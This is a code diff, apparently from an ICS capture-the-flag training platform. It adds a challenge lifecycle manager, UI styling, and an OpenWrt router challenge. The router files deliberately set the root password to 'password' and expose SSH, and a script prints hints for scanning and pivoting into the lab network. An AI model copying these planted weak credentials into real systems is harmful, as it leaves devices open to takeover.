raise ValueError(f"Unknown compose profile: {profile}") + + def _resolve_script(self, script_command): + if not script_command: + return None + + script_parts = shlex.split(script_command) + if not script_parts: + return None + + script_name = script_parts[0] + script_path = os.path.normpath(os.path.join(self.scripts_dir, script_name)) + if os.path.commonpath([self.scripts_dir, script_path]) != self.scripts_dir: + raise ValueError("Script path must stay within the scripts directory") + if not os.path.exists(script_path): + raise ValueError(f"Lifecycle script does not exist: {script_name}") + return script_path, script_parts[1:] + + def _get_script_runner(self, script_path): + """Respect the script shebang instead of forcing /bin/sh for every script.""" + try: + with open(script_path, "r", encoding="utf-8") as script_file: + first_line = script_file.readline().strip() + except OSError as exc: + raise RuntimeError(f"Could not read lifecycle script: {exc}") from exc + + if not first_line.startswith("#!"): + return ["/bin/sh"] + + runner = shlex.split(first_line[2:].strip()) + if not runner: + return ["/bin/sh"] + + if os.path.basename(runner[0]) == "env" and len(runner) > 1: + return runner + + if os.path.exists(runner[0]): + return runner + + resolved_binary = shutil.which(runner[0]) + if resolved_binary: + return [resolved_binary, *runner[1:]] + + raise RuntimeError(f"Lifecycle script interpreter not found: {' '.join(runner)}") + + def _run_compose(self, args): + if not self.compose_command: + raise RuntimeError("No docker compose command available inside landing container") + + command = [*self.compose_command, "-f", self.compose_file, *args] + logger.info(f"Running compose command: {' '.join(command)}") + result = subprocess.run( + command, + cwd=self.compose_dir, + capture_output=True, + text=True, + timeout=120, + check=False, + ) + if result.returncode != 0: + stderr = (result.stderr or result.stdout).strip() + raise RuntimeError(stderr or "docker compose command failed") + return result + + def _run_script(self, script_command, challenge_id, phase): + resolved_script = self._resolve_script(script_command) + if not resolved_script: + return + script_path, script_args = resolved_script + script_runner = self._get_script_runner(script_path) + + env = os.environ.copy() + env["CYBICS_CHALLENGE_ID"] = challenge_id + env["CYBICS_LIFECYCLE_PHASE"] = phase + + logger.info(f"Running lifecycle script {script_path} for {challenge_id} ({phase})") + result = subprocess.run( + [*script_runner, script_path, *script_args], + cwd=REPO_ROOT, + capture_output=True, + text=True, + timeout=120, + check=False, + env=env, + ) + if result.returncode != 0: + stderr = (result.stderr or result.stdout).strip() + raise RuntimeError(stderr or f"Lifecycle script failed: {os.path.basename(script_path)}") + + def _is_healthcheck_ready(self, healthcheck): + if not healthcheck: + return True + + check_type = healthcheck.get("type") + target = self._expand_target(healthcheck.get("target", "")) + + if check_type == "http": + response = requests.get(target, timeout=2) + return response.ok + + if check_type == "tcp": + if ":" not in target: + raise ValueError("TCP healthcheck target must be host:port") + host, port = target.rsplit(":", 1) + with socket.create_connection((host, int(port)), timeout=2): + return True + + raise ValueError(f"Unsupported healthcheck type: {check_type}") + + def _wait_for_healthcheck(self, healthcheck): + if not healthcheck: + return + + timeout_seconds = int(healthcheck.get("timeout_seconds", 30)) + deadline = time.time() + timeout_seconds + last_error = None + + while time.time() < deadline: + try: + if self._is_healthcheck_ready(healthcheck): + return + except Exception as exc: + last_error = str(exc) + + time.sleep(1) + + raise RuntimeError(last_error or "Healthcheck timed out") + + def _expand_target(self, target): + """Expand ${VAR} and ${VAR:-default} placeholders in config strings.""" + pattern = re.compile(r"\$\{([A-Za-z_][A-Za-z0-9_]*)(?::-([^}]*))?\}") + + def replace(match): + env_name = match.group(1) + default_value = match.group(2) + return os.environ.get(env_name, default_value if default_value is not None else "") + + return pattern.sub(replace, target) + + def _build_state_payload(self, challenge_id, lifecycle, status, last_error=None): + return { + "challenge_id": challenge_id, + "display_name": lifecycle.get("display_name"), + "status": status, + "last_error": last_error, + } + + def get_status(self, challenge_id): + challenge, lifecycle = self._get_challenge_lifecycle(challenge_id) + if not challenge: + return {"success": False, "message": "Challenge not found"}, 404 + + if not lifecycle.get("enabled"): + return { + "success": True, + "enabled": False, + "challenge_id": challenge_id, + "status": "unsupported", + "message": "This challenge does not define a lifecycle.", + }, 200 + + state = self._load_state() + if state.get("challenge_id") != challenge_id: + return { + "success": True, + "enabled": True, + "challenge_id": challenge_id, + "status": "stopped", + "message": "Challenge environment is stopped.", + "display_name": lifecycle.get("display_name"), + }, 200 + + if state.get("status") == "starting" and lifecycle.get("healthcheck"): + try: + if self._is_healthcheck_ready(lifecycle.get("healthcheck")): + state = self._build_state_payload(challenge_id, lifecycle, "running") + self._save_state(state) + except Exception: + pass + + if state.get("status") == "running": + try: + self._wait_for_healthcheck(lifecycle.get("healthcheck")) + except Exception as exc: + state["status"] = "failed" + state["last_error"] = str(exc) + self._save_state(state) + + return { + "success": True, + "enabled": True, + "challenge_id": challenge_id, + "status": state.get("status", "stopped"), + "message": state.get("last_error") or f"Challenge environment is {state.get('status', 'stopped')}.", + "display_name": state.get("display_name") or lifecycle.get("display_name"), + "last_error": state.get("last_error"), + }, 200 + + def start_challenge(self, challenge_id): + challenge, lifecycle = self._get_challenge_lifecycle(challenge_id) + if not challenge: + return {"success": False, "message": "Challenge not found"}, 404 + if not lifecycle.get("enabled"): + return {"success": False, "message": "Challenge lifecycle is not enabled"}, 400 + + state = self._load_state() + if state.get("challenge_id") == challenge_id and state.get("status") == "running": + return { + "success": True, + "challenge_id": challenge_id, + "enabled": True, + "status": "running", + "already_running": True, + "message": "Challenge environment is already running.", + "display_name": lifecycle.get("display_name"), + }, 200 + + try: + if state.get("challenge_id") and state.get("challenge_id") != challenge_id: + stop_result, stop_code = self.stop_challenge(state["challenge_id"], suppress_inactive_error=True) + if stop_code >= 400 or not stop_result.get("success"): + raise RuntimeError(stop_result.get("message", "Failed to stop previously active challenge")) + + compose_profile = lifecycle.get("compose_profile") + start_config = lifecycle.get("start") or {} + self._validate_profile(compose_profile) + self._resolve_script(start_config.get("script")) + + self._save_state(self._build_state_payload(challenge_id, lifecycle, "starting")) + + if compose_profile: + self._run_compose(["--profile", compose_profile, "up", "-d"]) + self._run_script(start_config.get("script"), challenge_id, "start") + self._wait_for_healthcheck(lifecycle.get("healthcheck")) + + running_state = self._build_state_payload(challenge_id, lifecycle, "running") + self._save_state(running_state) + return { + "success": True, + "challenge_id": challenge_id, + "enabled": True, + "status": "running", + "message": "Challenge environment started successfully.", + "last_error": None, + "display_name": lifecycle.get("display_name"), + }, 200 + except Exception as exc: + logger.error(f"Failed to start challenge lifecycle for {challenge_id}: {exc}", exc_info=True) + failed_state = self._build_state_payload(challenge_id, lifecycle, "failed", str(exc)) + self._save_state(failed_state) + return { + "success": False, + "challenge_id": challenge_id, + "enabled": True, + "status": "failed", + "message": f"Failed to start challenge environment: {exc}", + "last_error": str(exc), + "display_name": lifecycle.get("display_name"), + }, 500 + + def stop_challenge(self, challenge_id, suppress_inactive_error=False): + challenge, lifecycle = self._get_challenge_lifecycle(challenge_id) + if not challenge: + return {"success": False, "message": "Challenge not found"}, 404 + if not lifecycle.get("enabled"): + return {"success": False, "message": "Challenge lifecycle is not enabled"}, 400 + + state = self._load_state() + if state.get("challenge_id") != challenge_id: + if suppress_inactive_error: + return { + "success": True, + "challenge_id": challenge_id, + "enabled": True, + "status": "stopped", + "already_stopped": True, + "environment_stopped": False, + "message": "Challenge environment is already stopped.", + }, 200 + return { + "success": True, + "challenge_id": challenge_id, + "enabled": True, + "status": "stopped", + "already_stopped": True, + "environment_stopped": False, + "message": "Challenge environment is already stopped.", + }, 200 + + try: + compose_profile = lifecycle.get("compose_profile") + stop_config = lifecycle.get("stop") or {} + self._validate_profile(compose_profile) + self._resolve_script(stop_config.get("script")) + + self._save_state(self._build_state_payload(challenge_id, lifecycle, "stopping")) + + self._run_script(stop_config.get("script"), challenge_id, "stop") + if compose_profile: + self._run_compose(["--profile", compose_profile, "stop"]) + + self._clear_state() + return { + "success": True, + "challenge_id": challenge_id, + "enabled": True, + "status": "stopped", + "environment_stopped": True, + "message": "Challenge environment stopped successfully.", + "last_error": None, + "display_name": lifecycle.get("display_name"), + }, 200 + except Exception as exc: + logger.error(f"Failed to stop challenge lifecycle for {challenge_id}: {exc}", exc_info=True) + failed_state = self._build_state_payload(challenge_id, lifecycle, "failed", str(exc)) + self._save_state(failed_state) + return { + "success": False, + "challenge_id": challenge_id, + "enabled": True, + "status": "failed", + "environment_stopped": False, + "message": f"Failed to stop challenge environment: {exc}", + "last_error": str(exc), + "display_name": lifecycle.get("display_name"), + }, 500 diff --git a/software/landing/templates/challenge.html b/software/landing/templates/challenge.html index 531c35f2..24c163c9 100644 --- a/software/landing/templates/challenge.html +++ b/software/landing/templates/challenge.html @@ -16,8 +16,19 @@ margin: 0; line-height: 1.6; } - a { color: #ff6b00; } - a:hover { text-decoration: none; } + + body.has-floating-lifecycle { + padding-bottom: 14rem; + } + + ::-webkit-scrollbar-thumb { + background: #404040; + border-radius: 4px; + } + + ::-webkit-scrollbar-thumb:hover { + background: #ff6b00; + } ::-webkit-scrollbar { width: 8px; height: 8px; } ::-webkit-scrollbar-track { background: #1a1a1a; } @@ -212,6 +223,222 @@ .training-content strong { color: #fff; } .training-content hr { border: none; border-top: 1px solid #383838; margin: 1.5rem 0; } + .message.info { + background-color: #1f2937; + border: 1px solid #3b82f6; + color: #bfdbfe; + } + + .message { + white-space: pre-wrap; + } + + .floating-lifecycle-shell { + position: fixed; + left: 0; + right: 0; + bottom: 0; + z-index: 120; + padding: 1rem; + pointer-events: none; + } + + .floating-lifecycle-bar { + max-width: 1180px; + margin: 0 auto; + background: linear-gradient(135deg, rgba(36, 36, 36, 0.96), rgba(24, 24, 24, 0.98)); + border: 1px solid #404040; + border-radius: 1rem; + box-shadow: 0 -10px 40px rgba(0, 0, 0, 0.35); + pointer-events: auto; + overflow: hidden; + transition: transform 0.25s ease, border-color 0.25s ease, box-shadow 0.25s ease; + } + + .floating-lifecycle-bar.stopped, + .floating-lifecycle-bar.failed { + border-color: rgba(255, 107, 0, 0.65); + box-shadow: 0 -12px 44px rgba(255, 107, 0, 0.14); + } + + .floating-lifecycle-bar.failed { + border-color: rgba(239, 68, 68, 0.75); + box-shadow: 0 -12px 44px rgba(239, 68, 68, 0.16); + } + + .floating-lifecycle-bar.running { + border-color: rgba(34, 197, 94, 0.5); + } + + .floating-lifecycle-inner { + padding: 1rem 1.25rem; + display: flex; + flex-direction: column; + gap: 1rem; + } + + .floating-lifecycle-header { + display: flex; + justify-content: space-between; + align-items: flex-start; + gap: 1rem; + } + + .floating-lifecycle-title { + display: flex; + flex-direction: column; + gap: 0.35rem; + min-width: 0; + } + + .floating-lifecycle-title h2 { + margin: 0; + } + + .floating-lifecycle-eyebrow { + font-size: 0.78rem; + font-weight: 700; + letter-spacing: 0.08em; + text-transform: uppercase; + color: #ff9a52; + } + + .floating-lifecycle-description { + color: #d1d5db; + margin: 0; + line-height: 1.5; + } + + .floating-lifecycle-meta { + display: flex; + align-items: center; + gap: 0.75rem; + flex-wrap: wrap; + flex-shrink: 0; + } + + .floating-lifecycle-toggle { + background: transparent; + border: 1px solid #606060; + color: #d1d5db; + border-radius: 999px; + padding: 0.45rem 0.8rem; + font-size: 0.875rem; + font-weight: 700; + cursor: pointer; + transition: all 0.2s ease; + } + + .floating-lifecycle-toggle:hover { + border-color: #ff6b00; + color: #ff6b00; + } + + .floating-lifecycle-content { + display: flex; + flex-direction: column; + gap: 0.9rem; + } + + .floating-lifecycle-bar.compact .floating-lifecycle-content { + display: none; + } + + .floating-lifecycle-warning { + background-color: rgba(255, 107, 0, 0.1); + border: 1px solid rgba(255, 107, 0, 0.3); + color: #ffd7bd; + border-radius: 0.75rem; + padding: 0.9rem 1rem; + line-height: 1.5; + } + + .floating-lifecycle-bar.running .floating-lifecycle-warning { + display: none; + } + + .lifecycle-actions { + display: flex; + gap: 0.75rem; + flex-wrap: wrap; + } + + .lifecycle-actions .submit-btn, + .lifecycle-actions .secondary-button { + border-radius: 0.375rem; + padding: 0.65rem 1.5rem; + font-weight: 700; + font-size: 0.9rem; + cursor: pointer; + transition: background 0.15s, border-color 0.15s, color 0.15s; + margin-top: 0; + } + + .lifecycle-actions .submit-btn { + border: none; + } + + .secondary-button { + background-color: transparent; + color: #ff6b00; + border: 1px solid #ff6b00; + } + + .secondary-button:hover { + background-color: #ff6b00; + color: #1a1a1a; + } + + .secondary-button:disabled { + border-color: #606060; + color: #606060; + cursor: not-allowed; + } + + .status-pill { + display: inline-flex; + align-items: center; + gap: 0.5rem; + padding: 0.35rem 0.7rem; + border-radius: 999px; + font-size: 0.875rem; + font-weight: bold; + text-transform: uppercase; + letter-spacing: 0.04em; + } + + .status-pill.running { + background-color: rgba(34, 197, 94, 0.15); + color: #22c55e; + } + + .status-pill.starting, + .status-pill.stopping { + background-color: rgba(59, 130, 246, 0.15); + color: #60a5fa; + } + + .status-pill.failed { + background-color: rgba(239, 68, 68, 0.15); + color: #f87171; + } + + .status-pill.stopped, + .status-pill.unsupported { + background-color: rgba(107, 114, 128, 0.2); + color: #d1d5db; + } + + /* Code block styling */ + .training-content pre { + background-color: #1a1a1a; + border: 1px solid #404040; + border-radius: 0.375rem; + padding: 1rem; + overflow-x: auto; + margin: 1rem 0; + } + /* Inline code */ .training-content code { background: #2a2a2a; @@ -515,9 +742,57 @@ .toc-link.active { border-left: none; border-bottom-color: #ff6b00; } header { flex-direction: column; gap: 0.5rem; align-items: flex-start; } } + + + @media (max-width: 900px) { + body.has-floating-lifecycle { + padding-bottom: 18rem; + } + + .floating-lifecycle-header { + flex-direction: column; + align-items: stretch; + } + + .floating-lifecycle-meta { + justify-content: space-between; + } + } + + @media (max-width: 640px) { + body.has-floating-lifecycle { + padding-bottom: 20rem; + } + + .floating-lifecycle-shell { + padding: 0.75rem; + } + + .floating-lifecycle-inner { + padding: 0.9rem; + } + + .lifecycle-actions { + flex-direction: column; + } + + .submit-btn, + .secondary-button { + width: 100%; + } + + .floating-lifecycle-meta { + flex-direction: column; + align-items: stretch; + } + + .floating-lifecycle-toggle { + width: 100%; + } + } - +
@@ -605,6 +880,40 @@

Submit Flag

+ {% if challenge.lifecycle and challenge.lifecycle.enabled %} +
+
+
+
+
+ Required Setup +

{{ challenge.lifecycle.display_name or 'Challenge Environment' }}

+

+ Start the challenge environment before searching for the flag. After a correct flag submission, the environment will be stopped automatically. +

+
+
+ Stopped + +
+
+
+
+ Start the challenge environment before you begin searching for the flag. Otherwise the required challenge services may not be available yet. +
+
+ + +
+
+
+
+
+
+ {% endif %} + diff --git a/software/landing/templates/index.html b/software/landing/templates/index.html index 226403b5..39d45e77 100644 --- a/software/landing/templates/index.html +++ b/software/landing/templates/index.html @@ -1831,7 +1831,7 @@

Welcome to CybICS

title="CTF Training" allow="fullscreen" allowfullscreen="true" - sandbox="allow-same-origin allow-scripts allow-popups allow-forms" + sandbox="allow-same-origin allow-scripts allow-popups allow-forms allow-top-navigation-by-user-activation" > diff --git a/software/landing/utils/config.py b/software/landing/utils/config.py index 565d1a83..0819b9a3 100644 --- a/software/landing/utils/config.py +++ b/software/landing/utils/config.py @@ -11,13 +11,25 @@ # Data Directories BASE_DIR = os.path.dirname(os.path.dirname(__file__)) +if os.environ.get('CYBICS_REPO_ROOT'): + REPO_ROOT = os.environ['CYBICS_REPO_ROOT'] +elif os.path.basename(BASE_DIR) == 'landing' and os.path.basename(os.path.dirname(BASE_DIR)) == 'software': + REPO_ROOT = os.path.dirname(os.path.dirname(BASE_DIR)) +else: + REPO_ROOT = BASE_DIR DATA_DIR = os.path.join(BASE_DIR, 'data') TRAINING_DIR = os.path.join(BASE_DIR, 'training') +SCRIPTS_DIR = os.path.join(BASE_DIR, 'scripts') +CHALLENGE_SCRIPTS_DIR = os.path.join(SCRIPTS_DIR, 'challenges') PROGRESS_FILE = os.path.join(DATA_DIR, 'ctf_progress.json') CTF_CONFIG_FILE = os.path.join(BASE_DIR, 'ctf_config.json') +ACTIVE_CHALLENGE_FILE = os.path.join(DATA_DIR, 'active_challenge.json') +COMPOSE_DIR = os.environ.get('CYBICS_COMPOSE_DIR', os.path.join(REPO_ROOT, '.devcontainer', 'virtual')) +COMPOSE_FILE = os.environ.get('CYBICS_COMPOSE_FILE', os.path.join(COMPOSE_DIR, 'docker-compose.yml')) # Ensure directories exist os.makedirs(DATA_DIR, exist_ok=True) +os.makedirs(CHALLENGE_SCRIPTS_DIR, exist_ok=True) # Service Configurations SERVICES = { diff --git a/software/open-wrt/99-wan-config b/software/open-wrt/99-wan-config new file mode 100644 index 00000000..c07688bf --- /dev/null +++ b/software/open-wrt/99-wan-config @@ -0,0 +1,17 @@ +#!/bin/sh +uci set network.wan.proto='static' +uci set network.wan.ipaddr='172.20.0.2' +uci set network.wan.netmask='255.255.255.0' +uci set network.wan.gateway='172.20.0.1' +uci commit network + +# eth2 (QEMU user-netdev) konfigurieren +uci set network.qemu=interface +uci set network.qemu.ifname='eth2' +uci set network.qemu.proto='dhcp' +uci commit network + +uci add_list firewall.@zone[0].network='qemu' +uci commit firewall + +(echo "password"; echo "password") | passwd root \ No newline at end of file diff --git a/software/open-wrt/Dockerfile b/software/open-wrt/Dockerfile new file mode 100644 index 00000000..188f8563 --- /dev/null +++ b/software/open-wrt/Dockerfile @@ -0,0 +1,43 @@ +FROM debian:bookworm-slim + +RUN apt-get update && apt-get install -y \ + wget \ + iproute2 \ + e2tools \ + python3 \ + && ARCH=$(dpkg --print-architecture) \ + && if [ "$ARCH" = "arm64" ]; then \ + apt-get install -y qemu-system-arm qemu-efi-aarch64; \ + else \ + apt-get install -y qemu-system-x86; \ + fi \ + && rm -rf /var/lib/apt/lists/* + +WORKDIR /openwrt + +RUN ARCH=$(dpkg --print-architecture) \ + && if [ "$ARCH" = "arm64" ]; then \ + wget -q https://downloads.openwrt.org/releases/24.10.5/targets/armsr/armv8/openwrt-24.10.5-armsr-armv8-generic-ext4-combined-efi.img.gz \ + && gunzip openwrt-24.10.5-armsr-armv8-generic-ext4-combined-efi.img.gz; \ + EC=$?; [ $EC -eq 0 ] || [ $EC -eq 2 ] \ + && mv openwrt-24.10.5-armsr-armv8-generic-ext4-combined-efi.img openwrt.img; \ + else \ + wget -q https://downloads.openwrt.org/releases/24.10.5/targets/x86/64/openwrt-24.10.5-x86-64-generic-ext4-combined.img.gz \ + && gunzip openwrt-24.10.5-x86-64-generic-ext4-combined.img.gz; \ + EC=$?; [ $EC -eq 0 ] || [ $EC -eq 2 ] \ + && mv openwrt-24.10.5-x86-64-generic-ext4-combined.img openwrt.img; \ + fi + +COPY 99-wan-config /tmp/99-wan-config + +RUN ARCH=$(dpkg --print-architecture) \ + && if [ "$ARCH" = "arm64" ]; then SKIP=262656; else SKIP=33792; fi \ + && dd if=openwrt.img of=partition2.img bs=512 skip=$SKIP 2>/dev/null \ + && printf 'cd /etc/uci-defaults\nwrite /tmp/99-wan-config 99-wan-config\n' | debugfs -w partition2.img \ + && dd if=partition2.img of=openwrt.img bs=512 seek=$SKIP conv=notrunc 2>/dev/null \ + && rm partition2.img + +COPY start.sh start.sh +RUN chmod +x start.sh + +CMD ["/openwrt/start.sh"] \ No newline at end of file diff --git a/software/open-wrt/ctf-router.sh b/software/open-wrt/ctf-router.sh new file mode 100755 index 00000000..4632fded --- /dev/null +++ b/software/open-wrt/ctf-router.sh @@ -0,0 +1,177 @@ +#!/bin/bash +# Startet/stoppt die CTF Router Challenge. +# Der OpenWrt-Router wird zwischen Angreifer und ICS-Netz gehängt. +# Usage: ./ctf-router.sh start|stop|status + +set -uo pipefail + +# --- Config --- +ROUTER_DIR="$(cd "$(dirname "$0")" && pwd)" +ROUTER_CONTAINER="open-wrt-openwrt-1" +INT_NET="virtual_virt-cybics" +EXT_NET="ext_ctf" +EXT_SUBNET="172.22.0.0/24" +EXT_GATEWAY="172.22.0.1" +ROUTER_INT_IP="172.18.0.50" +ROUTER_EXT_IP="172.22.0.2" +ATTACK_EXT_IP="172.22.0.100" +ATTACK_CONTAINER="attack-machine" + +find_container() { + docker ps --format '{{.Names}}' | grep -i "$1" | head -1 +} + +container_in_network() { + docker inspect "$1" --format '{{range $k,$v := .NetworkSettings.Networks}}{{$k}} {{end}}' 2>/dev/null | grep -q "$2" +} + +cleanup_router_state() { + # Remove leftovers from failed starts. Stale Docker network IDs on an + # existing container can otherwise make the next `compose up` fail. + local attack + attack=$(find_container "$ATTACK_CONTAINER") + + if [ -n "$attack" ]; then + docker network disconnect "$EXT_NET" "$attack" 2>/dev/null || true + fi + + (cd "$ROUTER_DIR" && docker compose down --remove-orphans --timeout 5 >/dev/null 2>&1) || true + docker rm -f "$ROUTER_CONTAINER" >/dev/null 2>&1 || true + docker network rm "$EXT_NET" >/dev/null 2>&1 || true +} + +# --- START --- +do_start() { + echo "Starting CTF router challenge..." + + # CybICS muss laufen + if ! docker network ls --format '{{.Name}}' | grep -q "$INT_NET"; then + echo "ERROR: $INT_NET not found. Start CybICS first." + exit 1 + fi + + cleanup_router_state + + ATTACK=$(find_container "$ATTACK_CONTAINER") + [ -n "$ATTACK" ] && echo "Found attack machine: $ATTACK" + + # ext_ctf Netz anlegen + if ! docker network ls --format '{{.Name}}' | grep -q "^${EXT_NET}$"; then + docker network create --driver bridge --subnet "$EXT_SUBNET" --gateway "$EXT_GATEWAY" "$EXT_NET" \ + || { echo "ERROR: could not create $EXT_NET"; exit 1; } + fi + + # Router hochfahren + (cd "$ROUTER_DIR" && docker compose up -d --build --remove-orphans) + sleep 3 + if ! docker ps --format '{{.Names}}' | grep -q "$ROUTER_CONTAINER"; then + echo "ERROR: router container not running" + exit 1 + fi + + # Router in beide Netze hängen + container_in_network "$ROUTER_CONTAINER" "$INT_NET" \ + || docker network connect --ip "$ROUTER_INT_IP" "$INT_NET" "$ROUTER_CONTAINER" + container_in_network "$ROUTER_CONTAINER" "$EXT_NET" \ + || docker network connect --ip "$ROUTER_EXT_IP" "$EXT_NET" "$ROUTER_CONTAINER" + + # Attack-Machine zusätzlich ins ext_ctf (bleibt im internen wegen Docker port-mapping Limitation) + if [ -n "$ATTACK" ]; then + container_in_network "$ATTACK" "$EXT_NET" \ + || docker network connect --ip "$ATTACK_EXT_IP" "$EXT_NET" "$ATTACK" + fi + + # Warten bis SSH antwortet + echo -n "Waiting for router SSH" + for _ in $(seq 1 24); do + nc -z -w2 127.0.0.1 2222 2>/dev/null && break + echo -n "." + sleep 5 + done + echo " ok" + + # tcpdump installieren + echo -n "Installing tcpdump on router..." + sleep 20 # warten bis uci-defaults durch sind + SSH_CMD="sshpass -p password ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 root@127.0.0.1" + $SSH_CMD "opkg update && opkg install tcpdump" >/dev/null 2>&1 && echo " ok" || echo " failed (install manually: opkg update && opkg install tcpdump)" + + echo "" + echo "CTF router challenge running." + echo "" + echo "Router:" + echo " internal $ROUTER_INT_IP (virt-cybics)" + echo " external $ROUTER_EXT_IP (ext_ctf)" + echo " SSH localhost:2222 (root/password)" + echo "" + echo "From a Kali VM (real isolation):" + echo " nmap -> find port 2222" + echo " ssh root@ -p 2222" + echo " then pivot into 172.18.0.0/24" + echo "" + if [ -n "$ATTACK" ]; then + echo "Attack machine: $ATTACK_EXT_IP in ext_ctf" + echo " (stays in virt-cybics too — docker limitation)" + echo " noVNC still at localhost:6081" + fi +} + +# --- STOP --- +do_stop() { + echo "Stopping CTF router challenge..." + + ssh-keygen -f "$HOME/.ssh/known_hosts" -R "[127.0.0.1]:2222" 2>/dev/null || true + + ATTACK=$(find_container "$ATTACK_CONTAINER") + if [ -n "$ATTACK" ]; then + container_in_network "$ATTACK" "$EXT_NET" \ + && docker network disconnect "$EXT_NET" "$ATTACK" 2>/dev/null + fi + + (cd "$ROUTER_DIR" && docker compose down --remove-orphans --timeout 5 >/dev/null 2>&1) || true + docker rm -f "$ROUTER_CONTAINER" >/dev/null 2>&1 || true + + docker network ls --format '{{.Name}}' | grep -q "^${EXT_NET}$" \ + && docker network rm "$EXT_NET" 2>/dev/null + + echo "Stopped. Back to normal." +} + +# --- STATUS --- +do_status() { + echo "CTF Router Challenge status:" + echo "" + + if docker ps --format '{{.Names}}' | grep -q "$ROUTER_CONTAINER"; then + echo " router: running" + container_in_network "$ROUTER_CONTAINER" "$INT_NET" && echo " -> $INT_NET ($ROUTER_INT_IP)" + container_in_network "$ROUTER_CONTAINER" "$EXT_NET" && echo " -> $EXT_NET ($ROUTER_EXT_IP)" + else + echo " router: not running" + fi + + if docker network ls --format '{{.Name}}' | grep -q "^${EXT_NET}$"; then + echo " ext_ctf: exists" + else + echo " ext_ctf: not created" + fi + + ATTACK=$(find_container "$ATTACK_CONTAINER") + if [ -n "$ATTACK" ]; then + if container_in_network "$ATTACK" "$EXT_NET"; then + echo " attack-vm: ctf mode (ext_ctf + virt-cybics)" + else + echo " attack-vm: normal (virt-cybics only)" + fi + else + echo " attack-vm: not found" + fi + echo "" +} + +case "${1:-}" in + start) do_start ;; + stop) do_stop ;; + status) do_status ;; + *) echo "Usage: $0 {start|stop|status}"; exit 1 ;; +esac diff --git a/software/open-wrt/docker-compose.yml b/software/open-wrt/docker-compose.yml new file mode 100644 index 00000000..18186eed --- /dev/null +++ b/software/open-wrt/docker-compose.yml @@ -0,0 +1,35 @@ +services: + openwrt: + ports: + - "2222:2222" + build: + context: . + dockerfile: Dockerfile + image: cybics-openwrt-test + stdin_open: true + tty: true + cap_add: + - NET_ADMIN + devices: + - /dev/net/tun:/dev/net/tun + networks: + ext_net: + ipv4_address: 172.20.0.2 + virt-cybics: + ipv4_address: 172.21.0.2 + +networks: + ext_net: + driver: bridge + driver_opts: + com.docker.network.bridge.name: br-ext + ipam: + config: + - subnet: 172.20.0.0/24 + virt-cybics: + driver: bridge + driver_opts: + com.docker.network.bridge.name: br-int + ipam: + config: + - subnet: 172.21.0.0/24 diff --git a/software/open-wrt/start.sh b/software/open-wrt/start.sh new file mode 100644 index 00000000..2a7b8bb1 --- /dev/null +++ b/software/open-wrt/start.sh @@ -0,0 +1,47 @@ +#!/bin/sh + +ip tuntap add dev tap0 mode tap +ip tuntap add dev tap1 mode tap + +# Bridges nur auf Linux verfügbar +if ip link show br-ext > /dev/null 2>&1; then + ip link set tap0 master br-ext + ip link set tap1 master br-int + echo "TAP bridging enabled" +else + echo "Warning: br-ext/br-int not available (macOS Docker Desktop), TAP bridging disabled" +fi + +ip link set tap0 up +ip link set tap1 up + +ARCH=$(uname -m) + +if [ "$ARCH" = "aarch64" ]; then + exec qemu-system-aarch64 \ + -nographic \ + -machine virt \ + -cpu cortex-a57 \ + -m 256M \ + -drive file=openwrt.img,format=raw \ + -bios /usr/share/qemu-efi-aarch64/QEMU_EFI.fd \ + -serial mon:stdio \ + -netdev tap,id=n0,ifname=tap0,script=no,downscript=no \ + -device virtio-net-pci,netdev=n0 \ + -netdev tap,id=n1,ifname=tap1,script=no,downscript=no \ + -device virtio-net-pci,netdev=n1 \ + -netdev user,id=n2,hostfwd=tcp::2222-:22 \ + -device virtio-net-pci,netdev=n2 +else + exec qemu-system-x86_64 \ + -nographic \ + -m 128M \ + -drive file=openwrt.img,format=raw \ + -serial mon:stdio \ + -netdev tap,id=n0,ifname=tap0,script=no,downscript=no \ + -device e1000,netdev=n0 \ + -netdev tap,id=n1,ifname=tap1,script=no,downscript=no \ + -device e1000,netdev=n1 \ + -netdev user,id=n2,hostfwd=tcp::2222-:22 \ + -device e1000,netdev=n2 +fi \ No newline at end of file diff --git a/software/stm32/.dockerignore b/software/stm32/.dockerignore index 39900627..b118a2ec 100644 --- a/software/stm32/.dockerignore +++ b/software/stm32/.dockerignore @@ -5,6 +5,9 @@ .git/ .gitignore +# Ignore local build artifacts (built inside Docker via multi-stage build) +build/ + # Ignore editor files .vscode/ *.swp diff --git a/software/stm32/Dockerfile b/software/stm32/Dockerfile index 1245f0c2..3b09de2b 100644 --- a/software/stm32/Dockerfile +++ b/software/stm32/Dockerfile @@ -1,21 +1,115 @@ +# ─── Stage 1: Build Zephyr firmware ────────────────────────────────────────── +FROM --platform=linux/amd64 ubuntu:22.04 AS builder + +# Prevent interactive prompts during package installation +ENV DEBIAN_FRONTEND=noninteractive +ENV TZ=UTC + +# Install base dependencies and Zephyr requirements +RUN apt-get update && apt-get install -y \ + sudo \ + git \ + python3 \ + python3-pip \ + python3-venv \ + python3-dev \ + python3-wheel \ + curl \ + wget \ + xz-utils \ + file \ + make \ + cmake \ + ninja-build \ + gperf \ + ccache \ + dfu-util \ + device-tree-compiler \ + gcc \ + gcc-multilib \ + g++-multilib \ + libsdl2-dev \ + libmagic1 \ + && rm -rf /var/lib/apt/lists/* + +# Allow west extension commands in all directories +RUN git config --system --add safe.directory '*' + +# Create non-root user (matches .devcontainer/stm32 setup) +RUN addgroup --gid 1000 docker \ + && adduser --uid 1000 --ingroup docker --home /home/docker --disabled-password --gecos "" docker + +WORKDIR /home/docker/zephyrproject + +# Ensure non-root user can create the virtualenv and build artifacts in WORKDIR. +RUN chown -R docker:docker /home/docker/zephyrproject + +# Copy west manifest FIRST to maximise layer caching: +# The heavy SDK/module download layer is only invalidated when west.yml changes. +COPY --chown=docker:docker west.yml app/west.yml + +USER docker + +# Avoid reflog writes in ephemeral container repos; this prevents update-ref log path failures. +RUN git config --global core.logAllRefUpdates false + +# Create Python virtual environment (as recommended by Zephyr documentation) +RUN python3 -m venv .venv +ENV PATH=/home/docker/zephyrproject/.venv/bin:$PATH +ENV VIRTUAL_ENV=/home/docker/zephyrproject/.venv + +# Install west +RUN pip install --upgrade pip setuptools wheel && \ + pip install west + +# Download Zephyr modules (cached as long as west.yml doesn't change) +RUN west init -l app && \ + west update --narrow -o=--depth=1 && \ + west zephyr-export + +# Install Python requirements via west +RUN west packages pip --install + +# Install Zephyr SDK toolchain only. +# Host tools are already provided via apt packages above. +ENV ZEPHYR_SDK_VERSION=0.17.4 +ENV ZEPHYR_SDK_INSTALL_DIR=/home/docker/zephyr-sdk-${ZEPHYR_SDK_VERSION} +RUN wget -q 